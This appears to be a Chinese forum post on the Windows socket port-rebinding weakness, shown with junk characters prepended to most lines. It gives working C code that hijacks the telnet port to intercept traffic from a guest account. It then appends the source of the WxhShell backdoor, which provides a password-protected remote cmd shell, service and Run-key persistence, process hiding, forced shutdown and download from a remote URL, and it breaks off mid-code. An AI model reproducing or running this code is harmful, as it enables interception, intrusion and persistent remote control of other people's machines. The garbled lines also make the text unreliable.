在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Y k"yup@3 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
wp/x|AV P}PMRAek saddr.sin_family = AF_INET;
)fT0FLl|1 F<6{$YI saddr.sin_addr.s_addr = htonl(INADDR_ANY);
(ubK
i[) A_6Dol=J@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
/#xYy^` R?*-ZI[>w 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
%#]/]B/4 ?H!X
p 这意味着什么?意味着可以进行如下的攻击:
P6tJo{l8w I|mxyyf 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
k"FY
&;G(G NL ceBok 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
0g@*N4 ht5:kt`F 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
7nPm{=BG wi:d!,P`e 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
@qsOWx`l$ hP1;$ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
C4C!-12 A<g5:\3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
rHtX4;f+>< +d6Jrd* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
klj.\wg/p{ Au?(_*/0 #include
Yr:$)ap #include
'VY\ut #include
]"1\z>Hg #include
j)O8&[y= DWORD WINAPI ClientThread(LPVOID lpParam);
;77q~_g$ int main()
A'? W5~F {
D-5~CK4` WORD wVersionRequested;
Z~7} DWORD ret;
xWty2/!h WSADATA wsaData;
xm<sH!,j BOOL val;
uFi[50 SOCKADDR_IN saddr;
^m^,:]I0P SOCKADDR_IN scaddr;
'8Lc}-M4 int err;
p WKpc SOCKET s;
*WXqN!: SOCKET sc;
%u$dN9cw int caddsize;
]GHx<5Q:\ HANDLE mt;
i0&]Ig|; DWORD tid;
V P4ToYc wVersionRequested = MAKEWORD( 2, 2 );
i>rsq[l err = WSAStartup( wVersionRequested, &wsaData );
"[]J[!}x if ( err != 0 ) {
L2y{\<JC" printf("error!WSAStartup failed!\n");
|.U-
yyz return -1;
["?WVXCF8| }
< 'qtqUL\ saddr.sin_family = AF_INET;
kI$p~ V=H}Ecd //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
`_+m3vHG O Bp/:] saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
%O&C\{J saddr.sin_port = htons(23);
p$%g$K if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0 :1ldU
4 {
12%4>2}~> printf("error!socket failed!\n");
`r8bBzr@% return -1;
8 K>Ejr }
}=."X8zOI8 val = TRUE;
jLf8 7 //SO_REUSEADDR选项就是可以实现端口重绑定的
15~+Ga4 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
4?&CK {
S{ !m})1? printf("error!setsockopt failed!\n");
&28n1 return -1;
A,#hYi=-, }
zn{[]J //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Y~bGgd]T //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
rO{"jJ
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
j~Xn\~*n (G6N@>V(` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
TMQu'<?V {
O/R>&8R$ ret=GetLastError();
y0XI?Wr printf("error!bind failed!\n");
} "ts return -1;
1&}^{ Ys }
V5ihplAk listen(s,2);
OKq={l while(1)
pNzGpCk {
gb0ZGnI caddsize = sizeof(scaddr);
OECXNx //接受连接请求
X{riI^( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
<ByDT$E_ if(sc!=INVALID_SOCKET)
IN9o$CZ: {
MRHkQE+K@8 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
P1l@K2r if(mt==NULL)
`Lu\zR%< {
}UWRH.;v printf("Thread Creat Failed!\n");
eL!G, W break;
/C}fE]n{X }
Kq0hT4w }
J#W>%2"s CloseHandle(mt);
&hYjQ&n }
jNNl5. closesocket(s);
t|zLR WSACleanup();
6Gs,-Kb: return 0;
Cx/duodp }
#0 WO~wL DWORD WINAPI ClientThread(LPVOID lpParam)
cBA2;5E {
$T0|zPK5 SOCKET ss = (SOCKET)lpParam;
$rC`)"t SOCKET sc;
]g;K_>@ unsigned char buf[4096];
W}1h~rNy SOCKADDR_IN saddr;
|KC3^ long num;
Kn9,N@bU_ DWORD val;
CQ3{'"b DWORD ret;
)FqE8oN- //如果是隐藏端口应用的话,可以在此处加一些判断
-Q8pWtt //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
ptuW}"F saddr.sin_family = AF_INET;
~qT+sc!t saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
'[#uf/~W saddr.sin_port = htons(23);
P5P<-T{-c if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
n1W}h@>8 {
:r/rByd' printf("error!socket failed!\n");
*lG$B@;rc| return -1;
JhDjY8?86 }
:1>R~2 val = 100;
|E]YP~h if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
}q
?iJ?P {
Z{n7z$s* ret = GetLastError();
/bylA`IMW return -1;
vP'R7r2Yx }
3-8Vw$u if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{UYqRfgbZ {
uyG4zV\h* ret = GetLastError();
$P@P}%2 return -1;
t5N4d }
J:mOg95< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
%/MK$ {
wL 5).`oq printf("error!socket connect failed!\n");
s}9aZ closesocket(sc);
Aq|LeH closesocket(ss);
<STjB,_s return -1;
CsR~qQ
5 }
uYMW5k_,> while(1)
{hRAR8 {
Qg
_?..% //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
O!]wJ //如果是嗅探内容的话,可以再此处进行内容分析和记录
n5]<|>Uvx //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
LZ ID|- num = recv(ss,buf,4096,0);
>)pwmIn< if(num>0)
3G8uXB_`} send(sc,buf,num,0);
._tv$Gd@k else if(num==0)
dYV)lMJ* break;
+uwjZN'9a num = recv(sc,buf,4096,0);
$9 DZ5" if(num>0)
c/2OR#$t send(ss,buf,num,0);
|#2<4sd else if(num==0)
km<~Hw>Z break;
r$\g6m }
~0 FqY&4 closesocket(ss);
6^: l closesocket(sc);
>uJrq""+ return 0 ;
c*1x*'j. }
*}w.xt SKfv.9 iKS9Xss8 ==========================================================
U.6hLFcE #lLL5ji 下边附上一个代码,,WXhSHELL
Da@ tpKU)p H_8@J
==========================================================
esu6iU@ WD?V1:>+ #include "stdafx.h"
7\/O"Ot *,-YWx4 #include <stdio.h>
dF.T6b #include <string.h>
eNNgxQw>m #include <windows.h>
0`ib_&yI #include <winsock2.h>
X}usyO'pW #include <winsvc.h>
WAdl@){ #include <urlmon.h>
FUcs=7c v}Aw!Dv/ #pragma comment (lib, "Ws2_32.lib")
G+g`=7 #pragma comment (lib, "urlmon.lib")
Ixec]UOS }5] s+m #define MAX_USER 100 // 最大客户端连接数
.D>lv_kp #define BUF_SOCK 200 // sock buffer
'FUPv61() #define KEY_BUFF 255 // 输入 buffer
=k/n tt[_+e\4 #define REBOOT 0 // 重启
%mYIXsuH #define SHUTDOWN 1 // 关机
y=j[v},4 bL[PNUG #define DEF_PORT 5000 // 监听端口
Iw<c 9w8 [a
|fm*B! #define REG_LEN 16 // 注册表键长度
mmKrmM*1 #define SVC_LEN 80 // NT服务名长度
I]
"$h]T RY~)MS _C // 从dll定义API
B6pz1P?e} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Sl_zO?/PF typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#b" IX`5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
YJ6vyG>%C typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
'
R@<4Ib| */+s^{W7 // wxhshell配置信息
Y3zO7*-@ struct WSCFG {
s]&y\Z int ws_port; // 监听端口
%!$-N!e char ws_passstr[REG_LEN]; // 口令
+|8Lt[^ux int ws_autoins; // 安装标记, 1=yes 0=no
E8dp char ws_regname[REG_LEN]; // 注册表键名
4*,q1yK char ws_svcname[REG_LEN]; // 服务名
Sd\@Q%
}o\ char ws_svcdisp[SVC_LEN]; // 服务显示名
h1gb&?w5P char ws_svcdesc[SVC_LEN]; // 服务描述信息
&4%J35~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
N^ET
qg int ws_downexe; // 下载执行标记, 1=yes 0=no
'_&(Iwu char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
SmLYxH3F char ws_filenam[SVC_LEN]; // 下载后保存的文件名
y-X'eCUz uHIWbF<0oo };
SBoF(0< m{5$4v,[ // default Wxhshell configuration
RQ'c~D)X struct WSCFG wscfg={DEF_PORT,
dB,#`tc=, "xuhuanlingzhe",
w:LCm `d 1,
c]n03o "Wxhshell",
(hV"z; rI "Wxhshell",
#~f+F0#%? "WxhShell Service",
2Ee1mbZVw8 "Wrsky Windows CmdShell Service",
@/u`7FO$& "Please Input Your Password: ",
&e)p6Egl 1,
9}mp,egV "
http://www.wrsky.com/wxhshell.exe",
,Ex\\p- "Wxhshell.exe"
E9:hK };
bOdv]nQ1 \O?B9_ // 消息定义模块
qR<DQTO< char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
o'4@]ae char *msg_ws_prompt="\n\r? for help\n\r#>";
k$ M4NF~$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
@~XlI1g$i char *msg_ws_ext="\n\rExit.";
(KMobIP^ char *msg_ws_end="\n\rQuit.";
I7_D $a= char *msg_ws_boot="\n\rReboot...";
\xZBu" char *msg_ws_poff="\n\rShutdown...";
oQXkMKZ char *msg_ws_down="\n\rSave to ";
16Y~5JAc MdjLAD)f+C char *msg_ws_err="\n\rErr!";
JT9<kB/07 char *msg_ws_ok="\n\rOK!";
*!/#39 H7=z%Y9y char ExeFile[MAX_PATH];
>z
-(4Z int nUser = 0;
t5APD?5 c HANDLE handles[MAX_USER];
"3MUrIsB> int OsIsNt;
4<K`yU]"
*4:/<wI! SERVICE_STATUS serviceStatus;
xwxj j SERVICE_STATUS_HANDLE hServiceStatusHandle;
z{jAt6@7 D5b_m|7% // 函数声明
kZ}u int Install(void);
PPO<{ int Uninstall(void);
g DG m32 int DownloadFile(char *sURL, SOCKET wsh);
NGs9Jke2 int Boot(int flag);
oI~Qo*4eh void HideProc(void);
zs:7! int GetOsVer(void);
j1C.#-P[ int Wxhshell(SOCKET wsl);
wg.fo:Q void TalkWithClient(void *cs);
{wXN kq int CmdShell(SOCKET sock);
$:N
"* int StartFromService(void);
|Z^g\l.j{ int StartWxhshell(LPSTR lpCmdLine);
` W>B8 E|;5Z* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
&RrQ()<as VOID WINAPI NTServiceHandler( DWORD fdwControl );
5O W(] y| tQaCNS$= // 数据结构和表定义
piotd, SERVICE_TABLE_ENTRY DispatchTable[] =
hF7mJ\ {
6<$|;w-OV {wscfg.ws_svcname, NTServiceMain},
JJ0
CM:xe {NULL, NULL}
ejY5n2V#= };
Nt-SCLDM ?|J+dW // 自我安装
~&3"Mi&>` int Install(void)
8#u_+;,p {
U3K<@r char svExeFile[MAX_PATH];
h}>/Z3* HKEY key;
Kn$1W=B1. strcpy(svExeFile,ExeFile);
] *VF Ws 3a}`xCO5 // 如果是win9x系统,修改注册表设为自启动
mZVOf~9E if(!OsIsNt) {
51ebE` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
U(=9&c@] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
O9X:1>a@i RegCloseKey(key);
D>e\OfTR: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
l1Q+hz5"*U RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
5l/l] RegCloseKey(key);
<^_Vl8% return 0;
o'C.,ic?C }
U hhmG+ }
XW Q0V }
>#U<# else {
z\8yB`8b^ MH;%Y"EI // 如果是NT以上系统,安装为系统服务
dG?a"/MA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
;6txTcn`= if (schSCManager!=0)
^[[b$h$ {
%N>NOk) SC_HANDLE schService = CreateService
{
DQE7kI (
`$SEkYdt schSCManager,
AE4~M`6D wscfg.ws_svcname,
PbHh?iH wscfg.ws_svcdisp,
&N_c-@2O SERVICE_ALL_ACCESS,
|kNGpwpI SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ls7A5 < SERVICE_AUTO_START,
U.7y8#qf3R SERVICE_ERROR_NORMAL,
[ky6E*dV` svExeFile,
{3(.c, q@ NULL,
Z;~[@7` NULL,
<ii1nz NULL,
E5BgQ5'
NULL,
'b?.\Bm; NULL
y2$;t' );
Cm;qDvj+u if (schService!=0)
)USC {
YQ@6innT CloseServiceHandle(schService);
L##8+OJ.L CloseServiceHandle(schSCManager);
RL
Zf{Q> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
lJzy)ne strcat(svExeFile,wscfg.ws_svcname);
^%%5 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
>-@ U_p RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
"SU-^z RegCloseKey(key);
e_c;D2'F return 0;
fTHun?Vn }
}j(2Dl }
.`&/QiD CloseServiceHandle(schSCManager);
{I-a;XBX }
k
gu[!hD1 }
nlebFDb7 C{hcK 1-K return 1;
M1^C8cz }
](=wlq) CTkN8{2S // 自我卸载
7Fi2^DlgX int Uninstall(void)
ff}a <w {
+e8>?dkq HKEY key;
LJ(n?/z% 6=,#9C9 if(!OsIsNt) {
[)SR$/A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^[,s_34V RegDeleteValue(key,wscfg.ws_regname);
~x4B/zW? RegCloseKey(key);
8q?;Hg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
fQ36Hd?(5 RegDeleteValue(key,wscfg.ws_regname);
<@e+-$ RegCloseKey(key);
4,U}Am1Q return 0;
/Fo/_=FE 2 }
N~$Zeq= }
~kYqGH }
XJh:U0 else {
N8XC~Dh{ J,1osG<6x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
},fo+vRM if (schSCManager!=0)
u.kYp {
G?ugMl} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
&oeN#5Es8C if (schService!=0)
j|&DP-@g/ {
B8UZ9I$n if(DeleteService(schService)!=0) {
27a*H1iQ CloseServiceHandle(schService);
0Ox|^V CloseServiceHandle(schSCManager);
[t.%baF return 0;
)t,{YGY# }
r6n5 Jz CloseServiceHandle(schService);
"@{4.v^}! }
/:y2Up- CloseServiceHandle(schSCManager);
pYfV~Q^3 }
IypWVr }
Vj=Xcn#*8 3@yTzaq6 return 1;
c3V]'~ }
2>$F0
M ]<q}WjXD' // 从指定url下载文件
G*(K UG> int DownloadFile(char *sURL, SOCKET wsh)
`.>k)=F& {
NuD[-;N] HRESULT hr;
|)-|2cPRur char seps[]= "/";
'(*&Ax char *token;
AbF(MK=i char *file;
om}/f` char myURL[MAX_PATH];
skI(]BDf char myFILE[MAX_PATH];
$7UoL,N> v_z..-7Dq+ strcpy(myURL,sURL);
oQ%\[s$ token=strtok(myURL,seps);
g8I!E$ while(token!=NULL)
*qPdZ {
M?Ndy*] file=token;
qx2E-PDL;< token=strtok(NULL,seps);
|.(CIu~b }
m
ZtvG, q]eFd6
GetCurrentDirectory(MAX_PATH,myFILE);
J%\- 1 strcat(myFILE, "\\");
Dn_"B0$lk strcat(myFILE, file);
2~!R*i send(wsh,myFILE,strlen(myFILE),0);
R<;OEN send(wsh,"...",3,0);
x6^l6 N hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
tlV &eN if(hr==S_OK)
D0/DI return 0;
dn ZzA else
S9G+#[.| return 1;
^kn^CI6 s.y q}Q }
(*6m^ FxCZRo& // 系统电源模块
7v_i>_m] int Boot(int flag)
JiFA]M`^Q {
S\e&?Y` HANDLE hToken;
qKdS7SoS TOKEN_PRIVILEGES tkp;
N0Efw$u 2W^B{ZS; if(OsIsNt) {
HDmx@E.@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
M18qa,fK{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
+Edzjf~Tt tkp.PrivilegeCount = 1;
/gz:zThf{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
#?{qlgv<p AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
<4bz/^ if(flag==REBOOT) {
=)I"wR"v$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
90/vJN return 0;
A8pj~I/*- }
T[;;9z else {
1 -ZJT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
}zFf0.82 return 0;
Y[Q@WdE9 }
_1^8xFe2 }
$. %L else {
LY]nl3{E if(flag==REBOOT) {
kE/`n],1U if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
7J9l.cM3 return 0;
Hm %g_Mt }
DY9fF4[9a else {
|3}5:k if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
2fl4h<V return 0;
&E
bI Op }
6M ^IwE }
Ji;SY{~kv @}<"N return 1;
Q%ruQ# }
vUNisVA 55.;+B5L* // win9x进程隐藏模块
yN*:.al void HideProc(void)
o=pt_!i/ {
d%0+i/p <i{K7}': HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
.xO
_E1Ku; if ( hKernel != NULL )
!;%y$$gxh {
&lAQ & pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
wGvhB%8K ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
zJ9v%.e FreeLibrary(hKernel);
dUS ZNY }
)QmGsU}? h#i\iK&A return;
>':5?\C+- }
b1u}fp
GF !
ja[4. // 获取操作系统版本
V vu(`9u] int GetOsVer(void)
| h}B{D {
ncv7t|ZN OSVERSIONINFO winfo;
>1 @Ltvm winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
`)32&\ GetVersionEx(&winfo);
BQ#3QL't if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
AUfS- return 1;
#EbGL])F} else
s5l3V2k return 0;
Jf7frzw
}
[*8Y'KX < 8tLHr @%% // 客户端句柄模块
'0|o`qoLzA int Wxhshell(SOCKET wsl)
7JUb Va% {
z}ElpT[(; SOCKET wsh;
0DNU,u struct sockaddr_in client;
#^6^ DWORD myID;
-Ep!- a MIq"Wy|Zs while(nUser<MAX_USER)
3HZ~. {
J~KX|QY.S int nSize=sizeof(client);
8eluO ?p wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
G"T\=cQz if(wsh==INVALID_SOCKET) return 1;
uWjN2#&, DAdYg0efex handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
["y6b*;x if(handles[nUser]==0)
XphE loL closesocket(wsh);
GIT#<+" else
IG< H"tQ nUser++;
J8?2R^;{ }
!\-WEQrp\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
>"v9iT pMR,#[U< return 0;
a(;!O}3_)( }
{uU 2)5i2- -/ +#5.`1 // 关闭 socket
mN*?%t void CloseIt(SOCKET wsh)
;I}'} {
tdep|sD closesocket(wsh);
x)SralWb nUser--;
m:uPEpcU ExitThread(0);
yto[8;)_ }
[:h5} F; 8*H1 // 客户端请求句柄
c 6"Ib) void TalkWithClient(void *cs)
Xc*U+M>U {
%'bJ: VfSj E.| SOCKET wsh=(SOCKET)cs;
|a-fE]{7 char pwd[SVC_LEN];
6)qp*P$L char cmd[KEY_BUFF];
rh!;|xB|+ char chr[1];
#(KDjnP[ int i,j;
Ooc\1lX tIc 7:th while (nUser < MAX_USER) {
"
.4,." m^V5*JIh if(wscfg.ws_passstr) {
VT\"q1)p if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
X|}2_B //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
j.m(ltGh //ZeroMemory(pwd,KEY_BUFF);
_Mk7U@j+9 i=0;
+D&Pp0xe while(i<SVC_LEN) {
}rq9I"/L ! zL1;d // 设置超时
tF7hFL5f fd_set FdRead;
tGjhHp8}c struct timeval TimeOut;
D+JAK!W FD_ZERO(&FdRead);
h !gk s-0 FD_SET(wsh,&FdRead);
WBr59@V TimeOut.tv_sec=8;
>Lft9e TimeOut.tv_usec=0;
8`=v. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
s@8w-]" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
-TO\'^][X w_hHfZ9E if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
lk3=4|?zsE pwd
=chr[0]; !4(zp;WY^
if(chr[0]==0xd || chr[0]==0xa) { cA)[XpQ:+W
pwd=0; oDn|2Sdqd
break; W/fuKGZi_
} ;Hmp f0$
i++; L\%orLEmK
} 0.TaXbi
W$0^(FH[
// 如果是非法用户,关闭 socket -0Cnp/Yj@
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~q+hV+fa>
} Q >Qibr
"4o=,$E=
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h6~$/`&]b
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _n;;][]S
OsqNB'X
while(1) { ]QVNn?PA8
&V7M}@
ZeroMemory(cmd,KEY_BUFF); pO7Zs
iK5_u2]Q
// 自动支持客户端 telnet标准 9QQyl\
j=0; ~PnTaAPJ
while(j<KEY_BUFF) { Fv74bC%
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h[o6-f<D
cmd[j]=chr[0]; zZ=pP5y8
if(chr[0]==0xa || chr[0]==0xd) { #P<N^[m
cmd[j]=0; Hnk:K9u.B:
break; "ZwKk
G
} EV pi^>M
j++; #|[
M?3
} 6eFp8bANN#
7aV%=_
// 下载文件 ;&V s4
if(strstr(cmd,"http://")) { >J9oH=S6
send(wsh,msg_ws_down,strlen(msg_ws_down),0); }%7NF*
if(DownloadFile(cmd,wsh)) #T w@wfaq)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c;?fMX
else ZJPmR/OV_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9KWuN:Sg
} UT0){%2@
else { [NMVoBvG
u .f= te
switch(cmd[0]) { 21hv%CF\9
^XbU~3(
// 帮助 }}v9
`F
case '?': { 6AG`&'"
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1#IlWEg
break; I/Jb!R ~
} [S5\#=_4S
// 安装 gzoEUp=s
case 'i': { 'R-3fO???
if(Install()) @,Gxk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hj'(*ND7z
else ktIi$v
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2 3OC2|
break; 0}!\$"|D
} *Kdda}
J+
// 卸载 p
sL?Y
case 'r': { #(An6itl
if(Uninstall()) P3$Q&^?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O nQdq^UB
else .7K7h^*F
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `]Q:-h
break; V"c
6Kdtd
} =[b)1FUp
// 显示 wxhshell 所在路径 RuII!}*
case 'p': { /1Ue?)g
char svExeFile[MAX_PATH]; X 1
57$
strcpy(svExeFile,"\n\r"); okbQ<{9
strcat(svExeFile,ExeFile); DC{>TC[p1k
send(wsh,svExeFile,strlen(svExeFile),0); ,) J~ ,^f6
break; 9IX/wm"
} 93Co}@Y;Y+
// 重启 3EJt%}V$k
case 'b': { :VTTh
|E%#
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ULMu19>
if(Boot(REBOOT)) If\fLhM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6DH~dL_",%
else { D$t k<{)oB
closesocket(wsh); ^#-nE7
ExitThread(0); DI+fwXeg
} qkiI/nH3
break; u\C
lP#
} `
,SiA-3*
// 关机 t+9][Adf
case 'd': { v`M3eh@$A
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dKdj`wB
if(Boot(SHUTDOWN)) |yx6X{$k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8F._9U-EN
else { Y "/]|'p
closesocket(wsh); ~ 4kc/a
ExitThread(0); #B4%|v;`E?
} T}8Y6N<\m
break; 6i1LjLB
} #Y$hNQQ$F
// 获取shell ?Y@N`S
case 's': { z CvKDlL
CmdShell(wsh); zux{S;:?
closesocket(wsh); iyg*Xbmi~.
ExitThread(0); %}%Qc6.H
break; Z]B~{!W1
} @nux9MX<9
// 退出 v%q0OX>9X"
case 'x': { <yd{tD$A*
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3\XU_Xs(]
CloseIt(wsh); *s:(jDlv
break; r-Pkfy(
} %44leINx
// 离开 UEguF&
case 'q': { ljb7oA3cP4
send(wsh,msg_ws_end,strlen(msg_ws_end),0); [PDNwh0g5
closesocket(wsh); Q\ 0cvmU
WSACleanup(); p>4-s, W
exit(1); dw*_(ys
break; XCBL}pNkR
} g"}%2~Urf
} A<??T[
} ~^1 {B\I
CLUW!F
// 提示信息 c-(UhN3WG
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]7RD"}
} d8c=L8~jt
} G|!on<l&
?.Ca|H<
return; s+<Yg$)
} i%0ur}p
:51/29}
// shell模块句柄 eQ]~dA8>
int CmdShell(SOCKET sock) ?`PvL!'
{ $w`=z<2yo1
STARTUPINFO si; =`H@%
ZeroMemory(&si,sizeof(si)); 'F9 jq
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tM'P m
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =Jyu4j *}
PROCESS_INFORMATION ProcessInfo; iMDM1}b
char cmdline[]="cmd"; ~kEI4}O
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }khV'6"'|
return 0; ~v|>xqWV
} `u&Rsz&^
@U& QI*
// 自身启动模式 #Up86(Z
int StartFromService(void) Al}B34.uh
{ |xdsl,
typedef struct -C(crn
{ `T5W}p[6
DWORD ExitStatus; SC)g^E#
DWORD PebBaseAddress; 6[ j.@[t
